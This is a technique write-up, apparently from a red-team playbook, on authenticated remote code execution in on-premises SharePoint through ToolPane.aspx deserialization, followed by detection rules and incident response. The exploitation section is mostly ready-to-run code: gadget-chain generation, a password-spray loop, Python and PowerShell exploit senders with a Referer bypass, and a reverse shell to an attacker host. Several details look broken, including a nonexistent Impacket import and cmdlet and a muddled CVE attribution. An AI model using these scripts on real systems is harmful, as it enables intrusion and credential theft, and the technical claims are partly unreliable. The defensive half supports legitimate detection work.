MCADDF

[CVE2025-009]: SharePoint Authenticated RCE via ToolPane Exploitation

Metadata

Attribute Details
Technique ID CVE2025-009
MITRE ATT&CK v18.1 T1210 - Exploitation of Remote Services
Tactic Execution, Lateral Movement
Platforms Windows Server (On-Premises SharePoint)
Severity Critical
CVE CVE-2025-21075
Technique Status ACTIVE (Exploited in Wild)
Last Verified 2026-01-09
Affected Versions SharePoint Server 2016, 2019, SharePoint Subscription Edition
Patched In KB5002754 (2019), KB5002768 (Subscription), KB5002760 (2016)
Author SERVTEPArtur Pchelnikau

Executive Summary

Concept: CVE-2025-21075 is a post-authentication remote code execution vulnerability in Microsoft SharePoint Server that enables attackers with Site Member or higher privileges to execute arbitrary .NET code via the ToolPane.aspx endpoint. The vulnerability stems from improper validation of XML content in the GetPartPreviewAndPropertiesFromMarkup method, which deserializes untrusted data without adequate type validation. An authenticated attacker can craft a malicious __VIEWSTATE payload containing a serialized gadget chain that, when deserialized by the SharePoint application pool, executes attacker-supplied commands at the Windows SYSTEM privilege level.

Attack Surface: The attack targets the /_layouts/15/ToolPane.aspx endpoint in SharePoint Server on-premises installations exposed to the network. The exploitation requires initial authentication (either compromised credentials or social engineering).

Business Impact: Complete compromise of the SharePoint server and lateral movement to connected systems. A successful exploitation grants the attacker ability to execute arbitrary code with SYSTEM privileges, install persistent backdoors, exfiltrate sensitive data (including machine keys enabling persistent access), and pivot to other infrastructure. Organizations relying on SharePoint for sensitive document management face data breaches and operational disruption.

Technical Context: The ToolShell attack chain was initially presented at Pwn2Own Berlin 2025 (May 16, 2025) and actively exploited in the wild by July 18, 2025. Exploitation typically takes 2-5 minutes per target once authentication is obtained. Detection is challenging due to legitimate SharePoint requests mimicking malicious traffic.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark CIS 8.4.4 Ensure that Office SharePoint servers are restricted to authenticated users only
DISA STIG SI-2 Security updates and patches must be applied to SharePoint within 30 days
CISA SCuBA SharePoint Security Baseline Require multi-factor authentication for SharePoint access
NIST 800-53 SI-2, AC-6 Maintain security patches; Implement least privilege access
GDPR Art. 32 Security of Processing - Encryption and access controls for data in SharePoint
DORA Art. 9 Protection and Prevention - Incident response for critical infrastructure
NIS2 Art. 21 Cyber Risk Management Measures for critical infrastructure operators
ISO 27001 A.14.2.1 Secure development, testing, and operational change management
ISO 27005 Unauthorized Code Execution Risk: Compromise of documents and data stored in SharePoint

Technical Prerequisites

Required Privileges: Site Member (minimum); Site Owner (preferred for easier exploitation)

Required Access:

Supported Versions:

Tools:


Environmental Reconnaissance

PowerShell / Management Station Reconnaissance

# Check if target SharePoint server is accessible and identify version
$SPServer = "sharepoint.internal"
$ToolPaneUrl = "http://$SPServer/_layouts/15/ToolPane.aspx"

# Attempt to access ToolPane.aspx (unauthenticated)
Invoke-WebRequest -Uri $ToolPaneUrl -Method GET -ErrorAction SilentlyContinue | Select-Object StatusCode, Headers

# If accessible with 200/302, SharePoint Server 2016/2019/Subscription is running
# 401/403 indicates authentication or permission restriction

# Enumerate SharePoint version via HTTP headers and responses
$Response = Invoke-WebRequest -Uri "http://$SPServer/" -Method GET
$Response.Headers | Where-Object {$_ -match 'Server|X-SharePointHealthScore|X-AspNet'}

# Check for known gadget chains available in the SharePoint installation
# (Requires authenticated access)
$Credential = Get-Credential
$Session = New-WebRequestSession -Credential $Credential

Invoke-WebRequest -Uri "http://$SPServer/_api/site" -WebSession $Session | Select-Object StatusCode

# If HTTP 200: Site accessible with provided credentials
# If HTTP 401: Credentials invalid
# If HTTP 403: User lacks site access

What to Look For:

Version Note: Different SharePoint versions (2016 vs. 2019 vs. Subscription Edition) may have different patching status; CVE-2025-21075 affects all three if patches KB5002754/KB5002768/KB5002760 are not applied.

Linux/Bash / CLI Reconnaissance

#!/bin/bash
# Reconnaissance script for CVE-2025-21075

TARGET_SERVER="sharepoint.internal"
TARGET_PORT="80"

# Test connectivity to SharePoint server
nc -zv $TARGET_SERVER $TARGET_PORT
# If open: "Connection to sharepoint.internal 80 port [tcp/http] succeeded!"

# Enumerate ToolPane.aspx endpoint
curl -I "http://$TARGET_SERVER/_layouts/15/ToolPane.aspx"
# Expected response (if vulnerable):
# HTTP/1.1 302 Found
# Location: /_layouts/15/AccessDenied.aspx?Source=...
# or HTTP/1.1 200 OK

# Identify SharePoint version via HTTP headers
curl -I "http://$TARGET_SERVER/" | grep -i "server\|x-sharepoint"

# Test with valid credentials (Basic Auth)
curl -u username:password "http://$TARGET_SERVER/_api/site" -v
# HTTP 200 = authenticated access
# HTTP 401 = invalid credentials
# HTTP 403 = access denied

What to Look For:


Detailed Execution Methods and Their Steps

METHOD 1: Using Python & ysoserial.NET Gadget Chain (Cross-Platform)

Supported Versions: SharePoint Server 2016, 2019, Subscription Edition

Step 1: Generate Malicious .NET Gadget Chain Using ysoserial.NET

Objective: Create a serialized .NET object containing the arbitrary command to execute. This gadget chain will be embedded in the __VIEWSTATE parameter.

Version Note: SharePoint uses legacy BinaryFormatter deserialization; ysoserial.NET can generate gadgets for WindowsIdentity, ObjectDataProvider, and other sinks.

Command (All Versions):

# First, install ysoserial.NET on your attacking machine (Linux/macOS/Windows)
# Download from: https://github.com/frohoff/ysoserial.net/releases

# Generate gadget chain for command execution
./ysoserial.exe -g WindowsIdentity -f BinaryFormatter \
  -c "powershell -Command 'whoami | Out-File C:\\sharepoint-rce-proof.txt'"

Expected Output:

Base64 encoded gadget chain (very long string):
AAEAAAD/////....[truncated]....AAAAAAAAAAAAAAA==

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

Step 2: Obtain Valid SharePoint Credentials

Objective: Acquire authenticated credentials with at least Site Member privileges (Site Owner preferred). This is a prerequisite for exploitation.

Version Note: All SharePoint versions require pre-authentication; no unauthenticated RCE variant exists for CVE-2025-21075 (CVE-2025-49704 requires authentication; unauthenticated variants are CVE-2025-53770/53771).

Methods to Obtain Credentials:

Method 2A: Valid Compromised Credentials

# If you already have compromised credentials (from other attacks), store them securely
$Username = "domain\sharepoint_user"
$Password = "SecurePassword123!" | ConvertTo-SecureString -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential($Username, $Password)

# Verify credentials work against SharePoint
$Session = New-WebRequestSession -Credential $Credential
$TestResponse = Invoke-WebRequest -Uri "http://sharepoint.internal/_api/site" -WebSession $Session -ErrorAction SilentlyContinue
if ($TestResponse.StatusCode -eq 200) { Write-Host "Credentials valid!" }

Method 2B: Social Engineering / Phishing

Method 2C: Brute Force / Spray Attack

#!/bin/bash
# Password spray against SharePoint (low-and-slow to avoid lockout)

TARGET="sharepoint.internal"
USERLIST="usernames.txt"  # List of discovered usernames
COMMON_PASSWORDS=("Welcome2025" "SharePoint2025!" "Company123")

for user in $(cat $USERLIST); do
  for pass in "${COMMON_PASSWORDS[@]}"; do
    echo "Trying $user:$pass"
    curl -u "$user:$pass" "http://$TARGET/_api/site" --connect-timeout 3
    sleep 2  # Rate limiting to avoid account lockout
  done
done

Method 2D: Exploit Default/Weak Credentials

# Common default accounts in SharePoint environments
$DefaultAccounts = @(
    "domain\svc_sharepoint",
    "domain\svc_spfarm",
    "domain\spinstall",
    "Administrator:Administrator",
    "sa:sa"
)

foreach ($Cred in $DefaultAccounts) {
    $Parts = $Cred.Split(":")
    $Credential = New-Object System.Management.Automation.PSCredential($Parts[0], ($Parts[1] | ConvertTo-SecureString -AsPlainText -Force))
    # Test credential...
}

Expected Output:

What This Means:

OpSec & Evasion:

References & Proofs:

Step 3: Craft Malicious __VIEWSTATE Payload

Objective: Embed the gadget chain from Step 1 into an ASP.NET __VIEWSTATE parameter and sign it using valid encryption/HMAC keys (if known) or trigger deserialization without validation.

Version Note: CVE-2025-21075 exploits improper validation in ToolPane.aspx; the gadget chain is deserialized even with mismatched signatures in certain code paths.

Command (All Versions):

#!/usr/bin/env python3
import base64
import requests
from requests.auth import HTTPBasicAuth
import sys

# Configuration
TARGET = "http://sharepoint.internal"
USERNAME = "domain\\sharepoint_user"
PASSWORD = "SecurePassword123!"
GADGET_CHAIN = "AAEAAAD/////....[paste gadget chain from Step 1]....AAAAAAAAAAAAAAA=="

# Create authenticated session
session = requests.Session()
session.auth = HTTPBasicAuth(USERNAME, PASSWORD)

# Construct malicious __VIEWSTATE payload
# The gadget chain is Base64-encoded and sent as the __VIEWSTATE parameter
viewstate_payload = GADGET_CHAIN

# Prepare POST request to ToolPane.aspx
url = f"{TARGET}/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx"

headers = {
    "Content-Type": "application/x-www-form-urlencoded",
    "Referer": f"{TARGET}/_layouts/SignOut.aspx"  # Bypass authentication checks
}

data = {
    "__VIEWSTATE": viewstate_payload,
    "__VIEWSTATEGENERATOR": "00000000",
    "__EVENTVALIDATION": "/wEdAAEAAA=="
}

print(f"[*] Sending malicious payload to {url}")
print(f"[*] VIEWSTATE length: {len(viewstate_payload)}")

response = session.post(url, headers=headers, data=data, timeout=10)

print(f"[*] Response Status Code: {response.status_code}")
print(f"[*] Response Length: {len(response.content)}")

if response.status_code == 200:
    print("[+] Exploitation likely successful! Check target system for command execution.")
else:
    print(f"[-] Unexpected response: {response.status_code}")
    print(response.text[:500])  # Print first 500 chars of response

Command (Server 2016-2019):

# PowerShell variant for Windows machines
$Target = "http://sharepoint.internal"
$Username = "domain\sharepoint_user"
$Password = "SecurePassword123!" | ConvertTo-SecureString -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential($Username, $Password)

$GADGET_CHAIN = "AAEAAAD/////....[paste gadget chain]....AAAAAAAAAAAAAAA=="

$WebSession = New-WebRequestSession -Credential $Credential

$Body = @{
    "__VIEWSTATE" = $GADGET_CHAIN
    "__VIEWSTATEGENERATOR" = "00000000"
    "__EVENTVALIDATION" = "/wEdAAEAAA=="
}

$Response = Invoke-WebRequest `
    -Uri "$Target/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx" `
    -Method POST `
    -Body $Body `
    -WebSession $WebSession `
    -Headers @{"Referer" = "$Target/_layouts/SignOut.aspx"} `
    -ContentType "application/x-www-form-urlencoded"

if ($Response.StatusCode -eq 200) {
    Write-Host "[+] Exploitation likely successful!"
}

Expected Output:

[*] Sending malicious payload to http://sharepoint.internal/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx
[*] VIEWSTATE length: 4856
[*] Response Status Code: 200
[*] Response Length: 2341
[+] Exploitation likely successful! Check target system for command execution.

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

Step 4: Verify Code Execution

Objective: Confirm that the arbitrary command executed on the target SharePoint server with SYSTEM privileges.

Version Note: Same verification method across all SharePoint versions.

Command (All Versions):

# Check if the proof file exists on the target server
# (Requires file system access or RCE with ability to list files)

# Method 1: Via RCE output redirection (already embedded in gadget chain)
# If initial command was: whoami | Out-File C:\sharepoint-rce-proof.txt
# Connect to SharePoint server and check:

ls "\\sharepoint.internal\c$\sharepoint-rce-proof.txt"
# If file exists: Exploitation successful

# Method 2: Via second RCE command to extract proof
# Send a new gadget chain that reads the proof file and exfiltrates it

# Method 3: Via reverse shell
# Gadget chain: powershell -Command '$client = New-Object System.Net.Sockets.TcpClient("attacker.com", 4444); $stream = $client.GetStream(); ...'
# Listener on attacker machine: nc -lvnp 4444
# If shell connects: Exploitation successful

Expected Output:

What This Means:


METHOD 2: Using Impacket & Direct SMB/RPC Exploitation (Linux/Aggressive)

Supported Versions: SharePoint Server 2016, 2019, Subscription Edition

Step 1: Enumerate SharePoint Servers and Vulnerable Endpoints

Objective: Identify all accessible SharePoint servers and vulnerable ToolPane.aspx endpoints on the network.

Command:

#!/bin/bash
# Fast enumeration of SharePoint servers

# Method 1: DNS enumeration (if DNS records available)
nslookup -type=SRV _sharepoint._tcp.internal.com
# Returns: sharepoint.internal, sharepoint-web1.internal, sharepoint-web2.internal, etc.

# Method 2: Port scanning (ports 80, 443 typically used by SharePoint)
nmap -p 80,443 --open 10.0.0.0/24 -oG sharepoint-scan.txt
grep "Ports: 80/open" sharepoint-scan.txt | awk '{print $2}' > sharepoint-servers.txt

# Method 3: HTTP banner grabbing
for server in $(cat sharepoint-servers.txt); do
  echo "Scanning $server..."
  curl -I "http://$server/_layouts/15/ToolPane.aspx" 2>/dev/null | head -n 1
done

# Method 4: Identify web servers running SharePoint
grep -r "SharePoint\|OWA\|MOSS" /var/log/apache2/* /var/log/nginx/* 2>/dev/null | cut -d: -f1 | sort -u

Expected Output:

sharepoint.internal
sharepoint-web1.internal
sharepoint-web2.internal

What This Means:

Step 2: Exploit via Direct HTTP POST with Impacket

Objective: Use Impacket to craft and send the malicious HTTP request directly, bypassing the need for interactive web browser.

Command:

#!/usr/bin/env python3
from impacket.examples import evilwinrm
import requests
import base64
import sys

# Configuration
TARGET_SERVER = "sharepoint.internal"
DOMAIN = "INTERNAL"
USERNAME = "sharepoint_user"
PASSWORD = "SecurePassword123!"
GADGET_CHAIN = "AAEAAAD/////....[paste gadget chain]....AAAAAAAAAAAAAAA=="

# Step 1: Authenticate to SharePoint
session = requests.Session()
auth_url = f"http://{TARGET_SERVER}/_layouts/15/userdisp.aspx"

# Perform NTLM authentication
from requests_ntlm import HttpNtlmAuth
session.auth = HttpNtlmAuth(f"{DOMAIN}\\{USERNAME}", PASSWORD)

# Verify authentication
response = session.get(f"http://{TARGET_SERVER}/_api/site")
if response.status_code == 200:
    print("[+] Authenticated successfully")
else:
    print(f"[-] Authentication failed: {response.status_code}")
    sys.exit(1)

# Step 2: Send exploited request
exploit_url = f"http://{TARGET_SERVER}/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx"
payload = {
    "__VIEWSTATE": GADGET_CHAIN,
    "__VIEWSTATEGENERATOR": "00000000",
    "__EVENTVALIDATION": "/wEdAAEAAA=="
}

print(f"[*] Sending exploit to {exploit_url}")
response = session.post(
    exploit_url,
    data=payload,
    headers={"Referer": f"http://{TARGET_SERVER}/_layouts/SignOut.aspx"},
    timeout=10
)

print(f"[*] Response: {response.status_code}")
if response.status_code == 200:
    print("[+] Exploitation likely successful!")
else:
    print(f"[-] Unexpected response")

Expected Output:

[+] Authenticated successfully
[*] Sending exploit to http://sharepoint.internal/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx
[*] Response: 200
[+] Exploitation likely successful!

Splunk Detection Rules

Rule 1: Malicious __VIEWSTATE Deserialization Attempt

Rule Configuration:

SPL Query:

sourcetype=iis:w3c OR sourcetype=sharepoint:logs
| search url="*ToolPane.aspx*" method=POST status IN (200, 500)
| regex url="DisplayMode=Edit"
| fields url, src_ip, user, http_referer, status, _raw
| where isnotnull(http_referer) AND http_referer LIKE "%SignOut.aspx%"
| stats count, values(src_ip), values(user) by url
| where count >= 1

Manual Configuration Steps:

  1. Log into Splunk Web → Search & Reporting
  2. Click SettingsSearches, reports, and alerts
  3. Click New Alert
  4. Paste the SPL query above
  5. Set Trigger Condition to: Custom → Every time a search completes with matching fields
  6. Configure Action:
    • Send email to SOC team
    • Create event in SIEM
    • Execute script (to quarantine account)
  7. Click Save

What This Detects:

False Positive Analysis:

Source: Graylog SharePoint RCE Detection

Rule 2: WebShell Dropped to SharePoint Template Directory

Rule Configuration:

SPL Query:

sourcetype=sysmon EventCode=11
| search TargetFilename="*\\LAYOUTS\\*" AND TargetFilename="*.aspx"
| search NOT (TargetFilename="*default.aspx" OR TargetFilename="*master.aspx")
| stats count, values(TargetFilename), values(ParentImage) by host
| where count >= 1

Manual Configuration Steps:

  1. Open Splunk Web → Search & Reporting
  2. Click SettingsSearches, reports, and alerts
  3. Click New Alert
  4. Paste SPL query
  5. Set Trigger Condition to: Alert when count >= 1
  6. Add Action → Email to SOC + Auto-quarantine (if integrated with endpoint platform)

Source: Trellix ToolShell Detection


Microsoft Sentinel Detection

Query 1: SharePoint RCE Exploitation (ToolPane.aspx Gadget Chain)

Rule Configuration:

KQL Query:

W3CIISLog
| where cs_uri_stem contains "ToolPane.aspx" and cs_uri_stem contains "DisplayMode=Edit"
| where cs_method == "POST"
| where cs_referer contains "SignOut.aspx"
| where sc_status in (200, 500)
| project TimeGenerated, cIP, cs_username, cs_uri_stem, sc_status, cs_referer, Computer
| summarize ExploitAttempts=count(), UniqueUsers=dcount(cs_username) by cIP, Computer
| where ExploitAttempts >= 1

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure PortalMicrosoft Sentinel
  2. Select your workspace → Analytics
  3. Click + CreateScheduled query rule
  4. General Tab:
    • Name: SharePoint CVE-2025-21075 RCE Exploitation Attempt
    • Severity: Critical
  5. Set rule logic Tab:
    • Paste KQL query above
    • Run query every: 5 minutes
    • Lookup data from the last: 30 minutes
  6. Incident settings Tab:
    • Enable Create incidents from alerts triggered by this rule
  7. Click Review + create

Manual Configuration Steps (PowerShell):

# Connect to Azure and Sentinel workspace
Connect-AzAccount
$ResourceGroup = "MyResourceGroup"
$WorkspaceName = "MySentinelWorkspace"

# Create the analytics rule
New-AzSentinelAlertRule -ResourceGroupName $ResourceGroup -WorkspaceName $WorkspaceName `
  -DisplayName "SharePoint CVE-2025-21075 RCE Exploitation" `
  -Query @"
W3CIISLog
| where cs_uri_stem contains "ToolPane.aspx" and cs_uri_stem contains "DisplayMode=Edit"
| where cs_method == "POST"
| where cs_referer contains "SignOut.aspx"
| where sc_status in (200, 500)
| project TimeGenerated, cIP, cs_username, cs_uri_stem, sc_status, cs_referer, Computer
| summarize ExploitAttempts=count(), UniqueUsers=dcount(cs_username) by cIP, Computer
| where ExploitAttempts >= 1
"@ `
  -Severity "Critical" `
  -Enabled $true `
  -IncidentGroupingType "Suppress"

Source: Microsoft Sentinel SharePoint Detection


Windows Event Log Monitoring

Event ID: 4688 (Process Creation)

Manual Configuration Steps (Group Policy):

  1. Open Group Policy Management Console (gpmc.msc)
  2. Navigate to Computer ConfigurationPoliciesWindows SettingsSecurity SettingsAdvanced Audit Policy ConfigurationSystem Audit Policies - Local Group Policy ObjectDetailed Tracking
  3. Enable: Audit Process Creation (or Audit Creation of Process) and Audit Process Termination
  4. Set to: Success and Failure
  5. Run gpupdate /force on target machines

Manual Configuration Steps (Local Policy):

  1. Open Local Security Policy (secpol.msc)
  2. Navigate to Security SettingsAdvanced Audit Policy ConfigurationAudit PoliciesDetailed Tracking
  3. Enable: Audit Process Creation
  4. Run auditpol /set /subcategory:"Process Creation" /success:enable /failure:enable

Sample Event ID 4688 Entry (Exploitation Indicator):

Event ID: 4688
Process Information:
  Creator Process ID: 0x7a4
  Creator Process Name: C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\15\BIN\w3wp.exe
  Target User Name: SHAREPOINT_APP_POOL$
  Target Domain Name: INTERNAL
  Target Logon ID: 0x3e7
  New Process ID: 0x2a8
  New Process Name: C:\Windows\System32\powershell.exe
  Token Elevation Type: TokenElevationTypeFull
  Mandatory Label: System Mandatory Level
  Creator Token Elevation Type: TokenElevationTypeFull

Sysmon Detection Patterns

Minimum Sysmon Version: 13.0+ Supported Platforms: Windows Server 2016, 2019, 2022, 2025

Sysmon Config Snippet:

<Sysmon schemaversion="4.82">
  <!-- Detect w3wp.exe spawning command shells or PowerShell -->
  <RuleGroup name="SharePoint RCE Detection" groupRelation="or">
    <ProcessCreate onmatch="include">
      <ParentImage condition="image">w3wp.exe</ParentImage>
      <Image condition="image">cmd.exe</Image>
    </ProcessCreate>
    <ProcessCreate onmatch="include">
      <ParentImage condition="image">w3wp.exe</ParentImage>
      <Image condition="image">powershell.exe</Image>
      <CommandLine condition="contains">-EncodedCommand</CommandLine>
    </ProcessCreate>
    <!-- Detect webshell file writes to LAYOUTS directory -->
    <FileCreate onmatch="include">
      <TargetFilename condition="contains">\LAYOUTS\</TargetFilename>
      <TargetFilename condition="image">*.aspx</TargetFilename>
    </FileCreate>
  </RuleGroup>
</Sysmon>

Manual Configuration Steps:

  1. Download Sysmon from Microsoft Sysinternals
  2. Create a config file sysmon-config.xml with the XML above
  3. Install Sysmon with the config:
    sysmon64.exe -accepteula -i sysmon-config.xml
    
  4. Verify installation:
    Get-Service Sysmon64
    Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10 | Where-Object {$_.ID -eq 1}
    

Microsoft Defender for Cloud

Detection Alerts

Alert Name: Suspicious PowerShell execution from IIS worker process

Manual Configuration Steps (Enable Defender for Cloud):

  1. Navigate to Azure PortalMicrosoft Defender for Cloud
  2. Go to Environment settings
  3. Select your subscription
  4. Under Defender plans, enable:
    • Defender for Servers: ON
    • Defender for App Service: ON (for SharePoint Online monitoring)
  5. Click Save
  6. Go to Security alerts to view triggered alerts

Reference: Microsoft Defender Alert Reference


Microsoft Purview (Unified Audit Log)

Query: SharePoint Object Manipulation

Search-UnifiedAuditLog -Operations "UserLoggedIn" -StartDate (Get-Date).AddDays(-1) -ResultSize 5000 | 
  Where-Object {$_.AuditData -like "*sharepoint*" -and $_.AuditData -like "*ToolPane*"}

Manual Configuration Steps (Enable Unified Audit Log):

  1. Navigate to Microsoft Purview Compliance Portal (compliance.microsoft.com)
  2. Go to Audit (left menu)
  3. If not enabled, click Turn on auditing
  4. Wait 24 hours for log retention to activate

PowerShell Alternative:

Connect-ExchangeOnline
Search-UnifiedAuditLog -StartDate "01/01/2026" -EndDate "01/09/2026" -Operations "FileUploaded" -ResultSize 10000 |
  Where-Object {$_.AuditData -like "*layouts*" -and $_.AuditData -like "*.aspx*"} |
  Export-Csv -Path "C:\suspicious-file-uploads.csv"

Defensive Mitigations

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Policy Hardening

Validation Command (Verify Fix)

# Check if patches applied
Get-Hotfix | Where-Object {$_.HotFixID -in @("KB5002760", "KB5002754", "KB5002768")} | Select-Object HotFixID, InstalledOn

# Expected Output (If Secure):
# HotFixID  InstalledOn
# --------  -----------
# KB5002760 1/9/2026

# Verify AMSI enabled
Get-SPWebApplication | Select-Object DisplayName, @{Name="AMSIEnabled"; Expression={$_.AntiMalwareSettings.Enabled}}

# Expected Output:
# DisplayName              AMSIEnabled
# -----------              -----------
# SharePoint - 80          True

# Check machine key version (should be recent after rotation)
Get-SPWebApplication | Select-Object DisplayName, MachineKeyVersion

What to Look For:


Detection & Incident Response

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate:

    Command (IIS):

     # Take SharePoint web application offline immediately
     Stop-WebSite -Name "SharePoint - 80"
        
     # Or, stop IIS entirely
     Stop-Service W3SVC -Force
     Stop-Service WAS -Force
    

    Manual (Azure):

    • Go to Azure PortalVirtual Machines → Select affected SharePoint VM
    • Click Stop to shut down the machine
    • Alternatively, disconnect all network interfaces to isolate from network
  2. Collect Evidence:

    Command:

     # Export IIS W3C logs for forensics
     Copy-Item "C:\inetpub\logs\LogFiles\W3SVC1\*" -Destination "E:\Forensics\IIS-Logs\"
        
     # Capture SharePoint ULS logs
     Copy-Item "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\LOGS\*" -Destination "E:\Forensics\ULS-Logs\"
        
     # Export Security event log
     wevtutil epl Security "E:\Forensics\Security.evtx"
        
     # Capture memory dump of w3wp.exe (if still running)
     procdump64.exe -ma w3wp.exe "E:\Forensics\w3wp.dmp"
        
     # List all ASPX files in LAYOUTS directories (for webshell identification)
     Get-ChildItem -Path "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\*\TEMPLATE\LAYOUTS\" -Filter "*.aspx" -Recurse | Export-Csv "E:\Forensics\ASPX-Files.csv"
    

    Manual:

    • Open File Explorer → Navigate to C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\15\TEMPLATE\LAYOUTS\
    • Look for unexpected .aspx files (spinstall0.aspx, aspx.aspx, etc.)
    • Copy suspicious files to external drive for analysis
  3. Remediate:

    Command:

     # Remove webshell
     Remove-Item "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\15\TEMPLATE\LAYOUTS\spinstall0.aspx" -Force
        
     # Kill any suspicious processes spawned from w3wp.exe
     Get-Process | Where-Object {$_.Parent.Name -eq "w3wp" -and $_.Name -like "*powershell*"} | Stop-Process -Force
        
     # Restart IIS
     iisreset.exe /restart
        
     # Reset compromised user passwords
     Set-ADAccountPassword -Identity "sharepoint_user" -NewPassword (ConvertTo-SecureString -AsPlainText "NewSecurePassword123!" -Force) -Reset
        
     # Disable compromised accounts (if needed)
     Disable-ADAccount -Identity "compromised_account"
        
     # Rotate machine keys (critical!)
     Update-SPMachineKey -ServiceAccount (Get-SPFarm).DefaultServiceAccount -Force
        
     # Restart SharePoint services
     Restart-Service SPAdminV4, SPTimerV4, SPWriterV4 -Force
    

    Manual:

    1. Open Task ManagerDetails → Kill any suspicious processes under w3wp.exe
    2. Open File Explorer → Navigate to LAYOUTS → Delete suspected webshells
    3. Open Active Directory Users and Computers → Right-click compromised user → Disable Account
    4. Open SharePoint Central AdministrationSecurityConfigure Machine Key Rotation JobRotate Machine Keys Now

Step Phase Technique Description
1 Initial Access [IA-PHISH-001] Device Code Phishing Attacker sends phishing email with device code flow link to compromise admin account
2 Credential Access [CA-BRUTE-001] Azure Portal Password Spray Attacker sprays common passwords to gain initial credentials
3 Privilege Escalation [PE-VALID-010] Azure Role Assignment Abuse Attacker escalates from Site Member to Site Owner via role abuse
4 Exploitation [CVE2025-009] SharePoint RCE Attacker exploits CVE-2025-21075 to achieve code execution
5 Post-Exploitation [PE-ACCTMGMT-014] Global Administrator Backdoor Attacker creates persistent backdoor by stealing machine keys
6 Persistence [PERSIST-001] Web Shell Installation Attacker plants multiple webshells across SharePoint farm
7 Exfiltration [EXFIL-001] Data Staged for Exfiltration Attacker extracts sensitive documents from SharePoint libraries

Real-World Examples

Example 1: APT Group CL-CRI-1040 (ToolShell Campaign)

Example 2: Internal Red Team Assessment (Fictional)